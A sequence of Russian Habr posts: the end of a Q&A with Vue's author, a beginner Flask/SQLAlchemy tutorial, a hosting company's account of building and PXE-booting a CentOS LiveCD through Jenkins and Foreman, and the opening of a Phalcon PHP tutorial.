**O:** С тех пор, как это стало моей основной работой, я провожу обычный средний рабочий день с 9 до 5 (ну ладно, может чуть дольше)
***В:** Расскажи о своем прошлом опыте работы в Google, Meteor и т.д. Как родилась идея Vue?*
**O:** Я только что закончил [эпизод подкаста](https://devchat.tv/js-jabber/187-jsj-vue-js-with-evan-you), который скоро появится на devchat.tv. Там я рассказываю об этом в подробностях.
***В:** Какой, по твоему, самый важный момент в стеке веб технологий на сегодня? В каких областях назрела необходимость изменений? Что в порядке, а что — нет?*
**O:** Я могу рассуждать только о фронтенде. Думаю, основная проблема в том, что стандартные API, которые предоставляет веб платформа, слишком низкоуровневые. В результате, очень многие библиотеки решают почти каждую проблему, которую не решает платформа. Это и хорошо, и плохо. Хорошо тем, что эти инновации (вызванные конкуренцией) порождают отличные идеи. Негативная же сторона в том, что почти каждый стек, который вы видите, состоит из огромного числа быстро развивающихся зависимостей. Это, вероятно, продолжится еще несколько лет.
Лично я надеюсь на то, что однажды браузеры станут достаточно эффективны, и мы сможем перестать беспокоиться о бандлинге или микрооптимизации доставки ресурсов (assets). Это уберет все проблемы с временным (stop-gap) инструментарием, которые обычно есть в архитектурах сегодняшнего фронтенда. Однако, я не знаю когда это произойдет.
***В:** Каким техническим решением во Вью ты гордишься больше всего?*
**O:** Я сделал его легким в изучении и одновременно довольно мощным.
***В:** Тони Хор (Tony Hoare) назвал null ошибкой на миллиард долларов. Какое было самое неудачное техническое решение в твоей карьере?*
**O:** Было бы неплохо использовать TypeScript изначально, еще когда я начал переписывать код для Vue 2.x.
***В:** Какая самая сложная фича Vue, над которой ты работал?*
**O:** Наверное, оптимизация серверного рендеринга в 2.4, которая позволила рендереру обрабатывать смесь нод VDOM и строковых нод (string representation nodes), созданных во время компиляции.
#### P.S.
Спасибо всем, кто помогал с организацией и переводом (Alex Sokolov, [ai\_boy](https://habrahabr.ru/users/ai_boy/), [hiperteksto](https://habrahabr.ru/users/hiperteksto/), [irsick](https://habrahabr.ru/users/irsick/), [z6Dabrata](https://habrahabr.ru/users/z6dabrata/), [gbezyuk](https://habrahabr.ru/users/gbezyuk/)) и, конечно самому Эвану.
#### P.P.S.
См. [видео](https://www.youtube.com/watch?v=x8leK_cQRQ4)(eng) нашей предыдущей Q&A сессии с Эваном | https://habr.com/ru/post/350290/ | null | ru | null |
# Мой путь во Flask. Часть первая
Всем доброго времени суток. В программировании два года назад я был профан, и начал с *Python*, потому что с этим языком была связана моя диссертация, но понял, что не тяну в изучении сам и пошел на курсы, где научили основам *Python*, как делать блог-соцсеть на *Django*, как работать с *API*, и немного DevOps. Но курсы закончились, и логичный вопрос, «что дальше?». По определенным причинам я не могу сменить работу, но свободного времени хватает, поэтому сначала прочитал Лутца, чтобы подтянуть «матчасть», затем «Чистый код» Роберта Мартина. Cделал парочку проектов на *Django*, один *API*, поучил *JS*. И снова возник вопрос, «что дальше?» Было два варианта *FastAPI* и *Flask*. Выбор пал на *Flask*.
Хотелось бы отметить, что данный текст представляет собой как бы бортовой журнал изучения новой библиотеки джуном, поэтому я допускаю, что местами мог написать некоторые неточности. Я полностью открыт для критики, моя цель – повысить качество письма последующих статей, так как данная (если она конечно опубликуется :) ) будет дебютом.
### Установка
С установкой все просто.
1. Устанавливаете виртуальное окружение через `venv`
```
py –m venv venv
# или
python –m venv venv
# или
python3 –m venv venv
```
2. Запускаете виртуальное окружение:
```
# Windows:
source venv/Scripts/activate
# или
.\venv\Scripts\activate
# MacOS/Ubuntu:
source venv/bin/activate
```
3. Устанавливаем *Flask* (все нужные пакеты *Flask* подтянет сам):
```
pip install flask
```
Все готово! Довольно хорошо это расписано в [документации](https://flask.palletsprojects.com/en/2.1.x/installation/) .
### Wake up, Neo…
Делаем самое простое приложение на свете.
Для начала создаем новый файл в рабочей директории и называем его как угодно. Нууу, не совсем, как угодно, есть небольшое ограничение для имени файла, в документации предупреждают, что нежелательно называть имя файла `flask.py`, потому что может возникнуть конфликт имен с *Flask*.
Сначала импортируем класс `Flask` из модуля `flask`
```
from flask import Flask
```
Далее создадим экземпляр данного класса. Созданный экземпляр (`app`) будет нашим WSGI-приложением(подробнее в [PEP 3333](https://peps.python.org/pep-3333/)).
```
app = Flask(__name__)
```
В данном примере в объект передается переменная `__name__`, в ней хранится имя данного модуля более подробно расскажу позже, а пока как написано в документации: «`__name__` — это удобное сокращение, которое подходит для большинства случаев. Это необходимо для того, чтобы *Flask* знал, где искать ресурсы, такие как шаблоны(*templates*) и статические файлы.»
Далее создадим простенькую функцию, которая будет возвращать строку:
```
def wake_up():
return 'Wake up, Neo...'
```
Теперь наша задача состоит в том, чтобы сообщить *Flask*, при запросе какого *URL*, должна «стригериться» (выполниться) функция `wake_up`. Для этого у *Flask* есть замечательный декоратор `route`:
```
@app.route('/')
def wake_up():
return 'Wake up, Neo...'
```
Таким образом, при переходе в корень вэб-приложения на экран будет выводиться строка «*Wake up, Neo...*».
Теперь можно тестировать приложение. Для теста необходимо запустить локальный сервер, это делается следующим образом (здесь и далее приводятся версии кода для *Windows*).
1. Говорим терминалу, с каким приложением работать (в моем случае файл называется `start.py`, однако если файл называется `app.py` или `wsgi.py`, задавать указание на переменную окружения нет нужды и можно пропустить этот шаг, т.к. *Flask* проверяет эти файлы в первую очередь), путем задания переменной окружения `FLASK_APP`:
```
export FLASK_APP=start.py
```
2. Включаем все фичи для разработчиков (в том числе и дебагер), путем задания переменной окружения `FLASK_ENV`:
```
export FLASK_ENV=development
```
3. И наконец запускаем сервер:
```
flask run
```
После ввода последней команды *Flask* локальный сервер, адрес которого обычно <http://127.0.0.1:5000>. Переходим по этому адресу. В результате пустая вэб-страничка с надписью *«Wake up, Neo…»*.
Небольшое примечание. Можно запускать файлы напрямую через точку входа, для этого в конце запускаемого файла достаточно дописать следующее:
```
if __name__ == "__main__":
app.run(debug=True)
```
### Создание первой модели и связанные с этим затруднения
Далее вполне логично обратиться к моделям. Для этого необходимо установить расширение *Flask*, для работы с *SQLAlchemy* (довольно популярная связка). Для установки расширения необходимо прописать в терминале:
```
pip install -U Flask-SQLAlchemy
```
Для опробования функционала моделей во *Flask*, я обратился к [документации Flask-SQLAlchemy](https://flask-sqlalchemy.palletsprojects.com/en/2.x/).
В разделе [Quickstart](https://flask-sqlalchemy.palletsprojects.com/en/2.x/quickstart/) есть довольно простая модель для разбора основного функционала, давайте разберем его подробно, пример из документации выглядит следующим образом:
```
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////database.db'
db = SQLAlchemy(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
def __repr__(self):
return '' % self.username
```
Сначала импортируем необходимые переменные из библиотек `flask`и `flask_sqlalchemy`(первые две строчки), создаем приложение (строчка 4), в словарь с конфигурацией приложения добавляем путь к файлу базы данных (строчка 5), создаем объект класса `SQLAlchemy` *(«*используется для управления интеграцией *SQLAlchemy* в одно или несколько приложений *Flask»)* и передаем ему аргументом объект приложения `Flask` (строчка 6), создаем класс-модель пользователя (для этого наследуемся от объекта класса `SQLAlchemy`) (строчка 8), далее указываем основные поля таблицы (модели) c помощью класса `Column`, сначала указывается класс типа данных (в скобка строковых типов указано максимально допустимое количество символов), а далее дополнительные параметры, например, идентификатору присваивается значение первичного ключа записей в таблице пользователей (`primary_key=True`) или недопустимости отправки пустого поля email (`nullable=False`) (строчки 9-11), затем переопределение магического метода `__repr__`, отвечающего за формат вывода информации об объекте класса(строки 13-14).
В принципе ничего сложного, однако после «копи-паста» у меня не запустилось данное приложение. После запуска интерактивного сеанса, я, согласно документации, импортировал переменную модуля `db` (я назвал модуль `model.py`):
```
>>> from model import db
```
Затем попытался создать базу:
```
>>> db.create_all()
```
Вот здесь получаю ошибку… Я получил трассировку вызова, с ошибкой следующего вида:
```
sqlite3.OperationalError: unable to open database file
```
Собственно понятно, что или ошибка в файле или в пути к нему, вероятнее всего второе. Поплясав немного с бубнами, попытался пофиксисить, посмотрел документацию, но тщетно.
Хотелось бы отметить, что на *MacOS* проблема решилась после изменения пути к файлу базы, а именно после того, как я убрал один слэш из пути (т.е. я изменил `'sqlite:////database.db'`на `'sqlite:///database.db'`*)*
Что ж, самое время для *StackOverflow*. [Первая же ссылка](https://stackoverflow.com/questions/18208492/sqlalchemy-exc-operationalerror-operationalerror-unable-to-open-database-file) проливает свет (уже не в первый раз с начала моего пути в программировании)) на то, что кодить в *Windows* не очень удобно (сугубо субъективное мнение), потому что в пути к файлу бэкслеши (допускаю, что мог ошибиться с выводом!) В результате переписываю код согласно треду и все работает, ниже представляю конечный вариант кода:
```
import os
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
file_path = os.path.abspath(os.getcwd()) + "\database.db"
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///'+file_path
db = SQLAlchemy(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
def __repr__(self):
return '' % self.username
```
Согласно [документации](https://flask-sqlalchemy.palletsprojects.com/en/2.x/quickstart/#a-minimal-application), тестируем приложение:
```
>>> from model import db
>>> db.create_all()
>>> from model import User # импорт класса-модели пользователя
>>> admin = User(username='admin', email='admin@example.com') # создание экземпляров пользователей
>>> guest = User(username='guest', email='guest@example.com')
>>> db.session.add(admin) # добавление пользователей в сессию
>>> db.session.add(guest)
>>> db.session.commit() # Коммит данных сессии в базу данных
>>>User.query.all() # делаем запрос всех записей объектов пользователей из базы
[, ]
```
**Примечание**: из-за указанной уникальности полей (*unique=True*), может вылететь ошибка при попытке закомитить в базу записи с идентичными полями. Чтобы «откатить» данные в сессии стоит прописать:
```
>>> db.session.rollback()
```
Попробуем отфильтровать запрос по полю, допустим по `e-mail`, для этого есть метод `filter_by`:
```
>>> User.query.filter_by(email='guest@example.com')
```
Однако нам возвращается объект типа `BaseQuery`, а точнее указание на его расположение в памяти:
При этом, можно вывести и сам объект пользователя с помощью указания на первый объект в запросе (функция `first()`):
```
>>> User.query.filter_by(email='guest@example.com').first()
```
Также можно получить конкретную запись таблицы базы данных, по идентификатору с помощью метода `get_or_404()`:
```
>>> User.query.get_or_404(ident=1)
>>> User.query.get\_or\_404(ident=2)
```
Если запросить несуществующую запись, вернется 404-ая ошибка (ниже буду указывать только саму ошибку, без полной трассировки вызова):
```
>>> User.query.get_or_404(ident=3)
werkzeug.exceptions.NotFound: 404 Not Found: The requested URL was
not found on the server. If you entered the URL manually please check
your spelling and try again.
```
Также для фильтрации используется метод `filter`, отличие хорошо видно на следующем примере:
```
>>> User.query.filter(User.email=='guest@example.com').first()
```
Т.е. надо указывать критерий (выражение) сравнения (`=='guest@example.com'`*)*, с указанием таблицы и поля фильтрации (`User.email`). Как видно, для простых запросов, все-таки, лучше использовать метод `filter_by`.
Готово! Теперь мы имеем базу с двумя пользователями.
### Дегустация связей между моделями
Продолжим исследование моделей *Flask*, попробовав сделать связи между ними используя тип поля `db.relationship`. Создадим еще два-класса модели, поста и групп (для группировки постов):
```
from datetime import datetime
class Post(db.Model):
id = db.Column(db.Integer, primary_key=True)
author = db.relationship('User', backref=db.backref('posts', lazy=True))
author_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
title = db.Column(db.String(80), nullable=False)
text = db.Column(db.Text, nullable=False)
pub_date = db.Column(db.DateTime, nullable=False,
default=datetime.utcnow)
group_id = db.Column(db.Integer, db.ForeignKey('group.id'), nullable=False)
group = db.relationship('Group', backref=db.backref('posts', lazy=True))
def __repr__(self):
return '' % self.title
class Group(db.Model):
id = db.Column(db.Integer, primary\_key=True)
name = db.Column(db.String(50), nullable=False)
description = db.Column(db.Text, nullable=True)
def \_\_repr\_\_(self):
return '' % self.name
```
Рассмотрим подробнее поля модели *Post.*
Поле `author`*,* ссылается на модель `User`(первый аргумент), далее указывается аргумент `backref`(сокращение от backreference (обратная связь))*,* таким образом мы создаем поле в модели `User`, c названием *posts* (первый аргумент функции `db.backref`*,* `lazy=True`*,* обозначает, что *«*`SQLAlchemy`будет загружать данные по мере необходимости за один раз, используя стандартный оператор `select`», более подробно [здесь](https://flask-sqlalchemy.palletsprojects.com/en/2.x/models/#one-to-many-relationships). Те же действия происходят с полем `group`, но в место модели `User` будет использоваться модель `Group`, и в ней будет создано поле c обратной связью `posts`*.*
Также обратим внимание на поле `group_id`*,* тип данных `integer`, данные будут подтягиваться напрямую из модели (таблицы базы)`Group`*.* Связь таблиц осуществляется через функцию `db.ForeignKey()`.
**Примечание**:если же, например, вы укажете имя поля, этой же модели и оно не будет совпадать с именем (например, поле author в модели поста), тогда *SQLAlchemy* выдаст ошибку вида:
```
sqlalchemy.exc.NoReferencedTableError: Foreign key associated with column
'post.author_id' could not find table 'author' with which to generate a
foreign key to target column 'id'
```
То есть нужны ссылки на модель, через вот такое вот суб-поле (с идентификатором записи в другой таблице базы), чтобы организовать полноценные связи между таблицами базы. Если попытаться сделать связи без этих суб-полей (`group_id, author_id`), будет выведена ошибка следующего вида:
```
sqlalchemy.exc.NoForeignKeysError: Could not determine join condition between
parent/child tables on relationship Post.author - there are no foreign keys
linking these tables. Ensure that referencing columns are associated with a
ForeignKey or ForeignKeyConstraint, or specify a 'primaryjoin' expression.
```
Протестируем созданные связи.
Для начала рекомендую удалить файл базы данных из корня рабочего каталога. Он был создан при тестировании модели пользователей, а так как сейчас мы установили дополнительные связи, могут возникнуть конфликты, поэтому для упрощения обучения на данном этапе я сделал именно так, в последующих статьях я планирую разобрать этот момент подробнее, чтобы каждый раз не приходилось удалять базу, и создавать новую.
Для начала создадим пару пользователей для новой базы:
```
>>> from models import db
>>> db.create_all()
>>> from models import User
>>> trinity = User(username='trinity', email='trinity@example.com')
>>> morpheus = User(username='morpheus', email='morpheus@example.com')
>>> db.session.add(trinity)
>>> db.session.add(morpheus)
>>> db.session.commit()
>>> User.query.all()
[, ]
```
Далее перейдем к созданию группы и наполним ее постами. Обратите внимание, что посты добавляются в группу разными способами. Как через модель `Post`*,* так и через прокидывание постов в поле `posts`группы `matrix`:
```
>>> from models import Post, Group
>>> matrix = Group(name='Matrix')
>>> Post(title='Wake up', text='Wake up, Neo...', author=trinity, group=matrix) # создание напрямую через модель
>>> p1 = Post(title='Truth', text='You are a slave, Neo', author=morpheus)
>>> p2 = Post(title='Secret', text='Open your mind', author=morpheus)
>>> matrix.posts.append(p1) # прокидывание поста сразу в posts
>>> matrix.posts.append(p2)
>>> db.session.add(matrix)
>>> matrix.posts
[, , ]
```
Также стоит обратить внимание на то, что нет необходимости добавлять каждый пост в сессию, так как группа является частью сессии, то через соотношения, все посты, связанные с группой, будут автоматически добавлены в сессию.
Согласно документации [Flask-SQLAlchemy](https://flask-sqlalchemy.palletsprojects.com/en/2.x/quickstart/#simple-relationships), так как в отношениях выбрана так называемая «ленивая» загрузка данных по связям, то это может стать проблемой (в плане скорости загрузки) при подгрузке большого количества записей, однако этого можно избежать. *SQLAlchemy* позволяет переопределить стратегию загрузки на уровне запроса. При необходимости можно произвести загрузку всех групп и их постов за один запрос, как показано на примере ниже:
```
>>> from sqlalchemy.orm import joinedload
>>> query = Group.query.options(joinedload('posts'))
>>> for group in query:
... print(group, group.posts)
[, , ]
```
Если же нужно получить объект типа `query`для данной связи, можно воспользоваться функцией `with_parent()`:
```
>>> Post.query.with_parent(matrix).filter(Post.title != 'Truth').all()
[, ]
```
### Заключение
На этом я пока прерву свой рассказ, если это опубликуется, я планирую дальше постараться описывать свой путь исследования *Flask*. На данный момент, как видно из описанного выше, все довольно просто в усвоении, но как говориться: «Дьявол кроется в деталях», буду надеется, *Flask* окажется исключением.
«Follow the white rabbit.» | https://habr.com/ru/post/680180/ | null | ru | null |
# Linux LiveCD на базе CentOS и техники его использования в PXE-загрузке через Foreman
Получаем управляемую систему сборки и доставки LiveCD
-----------------------------------------------------
*Создатели дистрибутивов Linux предлагают пользователям пригодные для работы без установки образы операционных систем, однако универсальные сборки плохо подходят для задач хостинга. Рассказываем, как мы в* [*HOSTKEY*](https://hostkey.ru/) *создали собственный LiveCD на основе CentOS.*
Без так называемой живой системы Linux невозможно решать рутинные технические задачи в хостинговой компании: LiveCD нужны для сокращения нагрузки на инженеров, повышения стабильности предоставления услуг и упрощения внесения изменений в процесс деплоя. К сожалению, доступные в Сети универсальные образы плохо подходят для наших потребностей, поэтому пришлось создать собственный, получивший название SpeedTest. Поначалу мы использовали его для измерения производительности машин при расформировании, но потом функциональность системы была расширена для решения других проблем с разнообразным оборудованием.
> Рост потребностей выявил недостатки системы с интегрированными статическими скриптами. Главный из них — отсутствие простоты и удобства развития продукта. У нас не было своей системы сборки, возможности добавлять поддержку нового (или старого) оборудования, не было возможности менять поведение одного и того же образа в разных условиях запуска.
>
>
### Проблемы состава ПО в образе
Поскольку в нашей инфраструктуре в основном использовался CentOS (на тот момент седьмой версии), регулярное создание образов через [Jenkins](https://www.jenkins.io/) мы организовали на основе этого дистрибутива. Кухня сборки образов на RHEL/CentOS прекрасно автоматизируется с помощью [Anaconda Kickstart](https://anaconda-installer.readthedocs.io/en/latest/kickstart.html). Структура kickstart подробно описана в документации RHEL — не стоит подробно о ней рассказывать, хотя на некоторых моментах мы заострим внимание.
Заголовочная часть файла KS стандартна, за исключением описания репозиториев для загрузки ПО, из которого будет составлен образ. В этом блоке присутствуют директивы следующего вида:
```
repo --name=elrepo --baseurl=http://elrepo.reloumirrors.net/elrepo/el8/x86_64/
```
В блок **packages** мы включаем директиву **excludedocs**, а чтобы уменьшить размер образа, обязательно основываем его на **@core** и указываем пакеты-исключения:
```
%packages --excludedocs
@core
vim
-audit
-man-db
-plymouth
-selinux-policy-targeted
-tuned
-alsa-firmware
-iwl1000-firmware
-iwl105-firmware
-iwl100-firmware
-iwl135-firmware
-iwl2000-firmware
-iwl2030-firmware
-iwl5000-firmware
-iwl3160-firmware
-iwl5150-firmware
-iwl6000-firmware
-iwl6050-firmware
-iwl6000g2a-firmware
-iwl7260-firmware
```
В состав образа из приведенного выше примера войдет группа **@core** + пакет **vim** с зависимостями, но будет исключен ряд ненужных пакетов. Далее на этапах **post** и **post(nochroot)** выполняется доводка конфигурации скриптами. Рядом с kickstart в репозитории располагаются файлы, которые должны попасть в образ.
Сборка осуществляется с помощью входящей в состав стандартного репозитория CentOS утилиты **livecd-creator**. В результате мы получаем образ **squashfs** (приведем часть исполняемого в Jenkins сценария):
```
echo -e "\\nSpeedtest release ver ${BUILD_NUMBER}\\n" >> motd
sudo livecd-creator --verbose -f speedtest-${BUILD_NUMBER} speedtest.ks
7z x speedtest-${BUILD_NUMBER}.iso -oisoroot
mv isoroot/LiveOS/squashfs.img ./speedtest-${BUILD_NUMBER}.squashfs
```
> **На этом отрывке стоит заострить внимание:** обязательно нумеруйте образы и вставляйте номер билда в файл **motd** (его добавление в образ должно быть прописано в kickstart). Это позволит вам четко понимать, на каком именно билде вы работаете, и отслеживать изменения в нем во время отладки. Вопрос поддержки оборудования и дополнительного ПО мы решаем с помощью собственного репозитория RPM с пакетами, отсутствующими в штатных репозиториях или измененными нашими специалистами.
>
>
### Неявные проблемы запуска системы
1. Ядро и его зависимости приходят в систему через группу **@core**, поэтому при каждой новой сборке в образ попадают последние доступные версии ПО. Соответственно, нам необходимо это ядро и **initramfs** для него.
2. Сборка **initramfs** требует привилегий root, а в системе, на которой она происходит, нужен тот же самый билд ядра, который будет в **squashfs**.
**Наш совет:** чтобы избежать проблем с безопасностью и ошибками в скриптах, проводить сборку стоит в изолированном окружении. Крайне нежелательно делать это на мастер-сервере Jenkins.
Сборку **initramfs** мы приводим из задачи в формате [Jenkins DSL](https://plugins.jenkins.io/job-dsl/):
```
shell (
'''
set -x
echo -e '\\n'ENVIRONMENT INJECTION'\\n'
if [ $KERNELVERSION ];then
echo "KERNEL=$KERNELVERSION" >> $WORKSPACE/env
else
echo "KERNEL=$(uname -r)" >> $WORKSPACE/env
fi
short_branch=$(echo $long_branch | awk -F/ '{print $3}')
cat <> $WORKSPACE/env
WEBPATH=live-${short\_branch}
BUILDSPATH=live-${short\_branch}/builds/${JOB\_BASE\_NAME}
FTPSERVER=repo-app01a.infra.hostkey.ru
EOF
'''.stripIndent().trim()
)
environmentVariables { propertiesFile('env') }
shell (
'''
echo -e '\\n'STARTING INITRAMFS GENERATION'\\n'
yum install kernel-${KERNEL} -y
dracut --xz --add "livenet dmsquash-live bash network rescue kernel-modules ssh-client base" --omit plymouth --add-drivers "e1000 e1000e" --no-hostonly --verbose --install "lspci lsmod" --include /usr/share/hwdata/pci.ids /usr/share/hwdata/pci.ids -f initrd-${KERNEL}-${BUILD\_NUMBER}.img $KERNEL
'''.stripIndent().trim()
)
```
Итак, у нас сгенерированы образ **squashfs**, **initramfs** и есть последнее ядро. Этих компонентов достаточно для запуска системы через PXE.
### Доставка и ротация образов
Для доставки образов мы применили интересную систему, на которой стоит остановиться подробнее. Есть центральный репозиторий — это наш внутренний сервер из приватной сети, который отвечает по нескольким протоколам (FTP, RSYNC и т. д.) и отдает информацию по HTTPS через nginx.
На сервере была создана структура каталогов следующего вида:
```
├── builds
│ ├── build_dracut_speedtest_el8.dsl
│ │ ├── initrd-${VERSION}.img
│ │ └── vmlinuz-${VERSION}
│ ├── build_iso_speedtest_el8.dsl
│ │ ├── speedtest-${BUILDNUMBER}.iso
│ │ └── speedtest-${BUILDNUMBER}.squashfs
├── initrd -> builds/build_dracut_speedtest_el8.dsl/initrd-${VERSION}.img
├── speedtest.iso -> builds/build_iso_speedtest_el8.dsl/speedtest-${BUILDNUMBER}.iso
├── speedtest.squashfs -> builds/build_iso_speedtest_el8.dsl/speedtest-${BUILDNUMBER}.squashfs
├── vmlinuz -> builds/build_dracut_speedtest_el8.dsl/vmlinuz-${VERSION}
```
В каталог **builds** с соответствующими именам задач по сборке подкаталогами мы складываем три последних удачных билда, а в корневом каталоге находятся символические ссылки на последний билд без указания версии (именно с ними работают клиенты). Если нам необходимо откатить версию, быстро поменять ссылки можно вручную.
Доставка на сервер и работа со ссылками входят в задачу Jenkins по сборке: в качестве клиента используется **ncftp**, а в качестве сервера — **proftpd** (данные передаются по FTP). Последнее важно, поскольку здесь требуется связка сервера и клиента, поддерживающая работу с симлинками. Клиенты не взаимодействуют с центральным репозиторием напрямую: они подключаются к зеркалам, которые привязаны к географическим локациям. Такой подход нужен для снижения объема трафика и ускорения деплоя.
Раздача на зеркала также организована достаточно интересно: используется конфигурация с проксированием и директивной **proxy-store**:
```
location ^~ /livecd {
try_files $uri @central-repo;
}
location @central-repo {
proxy_pass https://centralrepourl.infra.hostkey.ru;
proxy_store /mnt/storage$uri;
}
```
Благодаря этой директиве копии образов сохраняются на зеркалах после первой загрузки клиентом. Наша система не содержит лишней скриптовой обвязки, а последняя сборка образа при обновлении доступна во всех локациях, к тому же ее нетрудно мгновенно откатить.
### Модификация поведения образа через Foreman
Развертывание систем проводится через [Foreman](https://www.theforeman.org/), то есть у нас есть API и возможность прокидывать переменные в конфигурационные файлы загрузчиков PXE. С таким подходом нетрудно сделать один образ для решения целого спектра задач:
1. для загрузки на «железе» и исследования аппаратных проблем;
2. для установки ОС (см. нашу [предыдущую статью](https://docs.google.com/document/d/1A8it6v0-zZQjOKcbifjiPwzCQ3r83dBGRS0eBHEKBjY/edit#));
3. для автоматического тестирования «железа»;
4. для расформирования оборудования и полной очистки жесткого диска после отказа клиента от сервера.
Понятно, что все задачи нельзя зашить в образ и заставить исполниться одновременно. Мы поступили иначе: в кухню сборки добавили сервисы **systemd** и запускающие выполнение нужных задач сценарии. Скрипт и сервис носят одно название (для примера покажем старт инсталляции Linux):
```
Lininstall.service
[Unit]
Description=Linux installation script
After=getty@tty1.service
Requires=sshd.service
[Service]
Type=forking
RemainAfterExit=yes
ExecStartPre=/usr/bin/bash -c "if [[ $SPEEDISO == lininstall ]];then exit 0;else exit 1;fi"
ExecStart=/usr/bin/bash -c "/usr/local/bin/lininstall.sh | tee /dev/console 2>&1"
TimeoutSec=900
[Install]
WantedBy=multi-user.target
```
Сервис запускает задачу, только если существует переменная окружения **SPEEDISO** со значением linintsall.
Теперь нам необходимо передать эту переменную в образ, что нетрудно сделать через командную строку ядра в загрузчике. Пример приводится для PXE Linux, но решение не привязано к загрузчику, поскольку нам нужна только командная строка ядра:
```
LABEL <%= @host.operatingsystem.name %>
KERNEL <%= @kernel %>
MENU LABEL Default install Hostkey BV image <%= @host.operatingsystem.name %>
APPEND initrd=<%= @initrd %> <%= mainparams %> root=live:<%= host_param('livesystem_url') %>/<%= host_param('live_squash') %> systemd.setenv=SPEEDISO=<%= host_param('hk_speedtest_autotask') %> <%= modprobe %> noeject
IPAPPEND 2
```
Переменная **hk\_speedtest\_autotask** должна содержать lininstall. В этом случае при старте системы запускается одноименный сервис. Если же переменная не существует или имеет случайное значение, из образа запустится система, к которой можно будет подключиться по ssh (если старт сервиса был настроен через **kickstart** при сборке образа).
### Итоги
Потратив некоторое время на разработку, мы получили управляемую систему сборки/доставки LiveCD, которая позволяет изящно решать проблемы поддержки оборудования и обновления ПО в образе. С ее помощью можно быстро откатывать назад изменения, менять поведение образа через API Foreman, а также экономить трафик и иметь высокую автономность сервиса для разных площадок. Географически разнесенные зеркала содержат последние удачные билды всех используемых образов и репозиториев, а система удобна, надежна и не раз выручала нас на протяжении трех лет эксплуатации.
О том, как мы в [HOSTKEY](https://hostkey.ru/) автоматизировали ручную установку ОС на серверы, [читайте здесь](https://habr.com/ru/company/hostkey/blog/658087/).
\_\_\_\_\_\_\_\_\_
Кстати, в HOSTKEY можно пользоваться всеми возможностями технологичного API для [быстрого заказа и управления серверами](https://hostkey.ru/instant-servers/). Выберите сетевые настройки, операционную систему и получите любой сервер в течение 15 минут. Вы также можете собрать [сервер индивидуальной конфигурации](https://hostkey.ru/dedicated-servers/), в том числе с профессиональными [GPU картами](https://hostkey.ru/gpu-dedicated-servers/).
[У нас уже можно добавить новую NVIDIA А5500](https://habr.com/ru/company/hostkey/news/t/661273/). | https://habr.com/ru/post/663338/ | null | ru | null |
# Phalcon: Давайте учиться на примере
Совсем недавно на хабре [упоминался](http://habrahabr.ru/post/159217/) PHP MVC Framework написанный на языке C, где были описаны его преимущества и недостатки. Этой статьёй я хочу продолжить знакомство с довольно интересным инструментом веб-разработчика — **PhalconPHP**.
Данная статья является вольным переводом [базового урока](http://docs.phalconphp.com/en/0.7.0/reference/tutorial.html), в котором будет рассмотрен процесс создания приложения с простой формой регистрации, а также разъяснены основные аспекты поведения фреймворка.
Лучший способ использовать это руководство – пройти его шаг за шагом.
Конечный результат можно найти на [github](https://github.com/phalcon/tutorial).
Каркас приложения может быть автоматически сгенерирован при помощи [инструментов разработчика](http://docs.phalconphp.com/en/0.7.0/reference/tools.html), однако данная статья не описывает эту возможность.
Установка Phalcon PHP достаточно тривиальна, всё сводится к установке PHP расширения, которое можно [скачать](http://phalconphp.com/download) с официального сайта.
Установив Phalcon PHP проверьте наличие секции «Phalcon» в результатах вывода phpinfo() или выполните фрагмент кода ниже:
```
php
print_r(get_loaded_extensions());
</code
```
Среди прочих расширений вы должны увидеть и phalcon:
```
Array
(
[0] => Core
[1] => libxml
[2] => filter
[3] => SPL
[4] => standard
[5] => phalcon
[6] => pdo_mysql
)
```
#### Структура директорий
Phalcon не требует использования какой-либо определённой иерархии проекта, для разработки приложения вы можете использовать такую структуру с которой привыкли работать.
Для примера, в этом уроке мы будем использовать следующую структуру:
```
tutorial/
app/
controllers/
models/
views/
public/
css/
img/
js/
```
Заметьте, что вам не нужна директория вроде «library» для размещения фреймворка, Phalcon уже доступен из памяти и готов к использованию.
#### Красивые URL
Этот урок использует человекопонятные URLs (ЧПУ). ЧПУ не только полезны для поисковой оптимизации, но и позволяют пользователям проще запоминать ссылки. Поддержка ЧПУ вашим приложением не обязательна, вы вольны разрабатывать проект и без их поддержки.
Этот пример использует `mod_rewrite` для Apache и, исходя из нашей структуры директорий, нам потребуются два файла .htaccess: один в корне проекта, другой в публичной директории.
```
#/.htaccess
RewriteEngine on
RewriteRule ^$ public/ [L]
RewriteRule (.\*) public/$1 [L]
```
Все запросы к приложению будут направлены в директорию `public/`. Этот шаг гарантирует, что внутренние папки проекта остаются скрытыми от публичного доступа, снижая угрозу безопасности.
Второй набор правил проверяет, существует ли требуемый файл. Если файл отсутствует, то веб-сервер преобразует запрос к необходимому для фреймворка виду.
```
#/public/.htaccess
RewriteEngine On
RewriteCond %{REQUEST\_FILENAME} !-d
RewriteCond %{REQUEST\_FILENAME} !-f
RewriteRule ^(.\*)$ index.php?\_url=/$1 [QSA,L]
```
*Примечание переводчика: с точки зрения как безопасности так и производительности эффективнее будет вынести приложение за пределы public\_html, оставив доступными только изображения, js и css. Но не будем отклонятся от примера.*
#### Начальная загрузка (bootstrap)
Первый файл, который необходимо создать — это скрипт инициализации. Этот файл реализует инициализацию компонентов, он служит основой приложения, предоставляя контроль над всем его поведением.
Bootstrap-файл `public/index.php` выглядит так:
```
php
try
{
//Register an autoloader
$loader = new \Phalcon\Loader();
$loader-registerDirs(array(
'../app/controllers/',
'../app/models/'
))->register();
//Create a DI
$di = new Phalcon\DI\FactoryDefault();
//Setting up the view component
$di->set('view', function(){
$view = new \Phalcon\Mvc\View();
$view->setViewsDir('../app/views/');
return $view;
});
//Handle the request
$application = new \Phalcon\Mvc\Application();
$application->setDI($di);
echo $application->handle()->getContent();
}
catch(\Phalcon\Exception $e)
{
echo "PhalconException: ", $e->getMessage();
}
```
Ниже мы разберём каждую часть этого файла подробней.
#### Автозагрузчик
